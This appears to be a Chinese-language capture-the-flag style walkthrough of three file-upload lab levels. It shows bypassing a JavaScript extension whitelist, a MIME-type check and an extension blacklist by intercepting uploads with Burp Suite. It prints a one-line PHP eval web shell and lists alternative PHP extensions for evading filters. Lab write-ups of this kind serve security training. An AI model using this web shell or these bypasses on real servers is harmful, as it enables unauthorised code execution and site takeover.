第一关
随便上传一个.txt文件,弹出提示上穿不成功,设置了白名单,后缀名必须时.jpg、.png、.gif: 看看源代码:
var allow_ext = ".jpg|.png|.gif";
创建一个写有一句话木马的1.jpg:
<?php @eval($_POST['123']); ?>
用burpsuite抓包,将写有一句话木马的1.jpg修改为1.php,上传成功: 用蚁剑成功连接: 还有一个办法就是直接禁用js即可上传文件。
第二关
上传一个写有一句话木马的11.php,提示文件类型不对,查看源代码,需要验证文件类型,也就是验证MINE信息:
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
用burpsuite抓包,修改content-type为image/jpeg,上传成功: 用蚁剑成功连接:
第三关
查看源代码,有黑名单:
$deny_ext = array('.asp','.aspx','.php','.jsp');
那么用用.phtml .phps .php5 .pht进行绕过
抓包修改: 上传成功phpinfo():
|